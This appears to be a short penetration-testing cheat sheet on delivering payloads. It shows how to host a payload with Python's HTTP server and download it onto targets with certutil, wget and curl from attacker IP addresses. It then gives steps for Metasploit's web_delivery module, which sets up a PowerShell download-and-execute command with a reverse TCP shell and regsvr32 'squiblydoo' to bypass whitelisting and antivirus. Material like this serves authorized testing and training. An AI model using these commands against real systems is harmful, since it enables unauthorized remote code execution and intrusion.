Host the Payload to a Python HTTP server:

in a python2 environment:

python -m SimpleHTTPServer 80

in a python3 environment:

python -m http.server 80

In Windows :LoWindows2012: use this built in Windows utility to download a file from the web:

certutil -urlcache -f http://10.10.45.3/payload.exe payload.exe

Or this utility with -O to rename the file:

wget -O payload.php http://192.168.1.100/file.php

Or use curl in Linux :LoLinuxPenguin: :

curl http://10.10.45.3/payload.exe > payload.exe

MSF Modules:

Description: This module quickly fires up a web server that serves a payload.

The module will provide a command to be run on the target machine based on the selected target. The provided command will download and execute a payload using either a specified scripting language interpreter or "squiblydoo" via regsvr32.exe for bypassing application whitelisting.

The main purpose of this module is to quickly establish a session on a target machine when the attacker has to manually type in the command: e.g. Command Injection, RDP Session, Local Access or maybe Remote Command Execution.

This attack vector does not write to disk so it is less likely to trigger AV solutions and will allow privilege escalations supplied by Meterpreter.

exploit/multi/script/web_delivery

for a windows target:

  1. set TARGET PSH\ (Binary)
  2. set payload windows/shell/reverse_tcp
  3. Disable powershell code from being encoded in base 64 : set PSH-EncodedCommand false
  4. Then copy the powershell script and run it on the target system....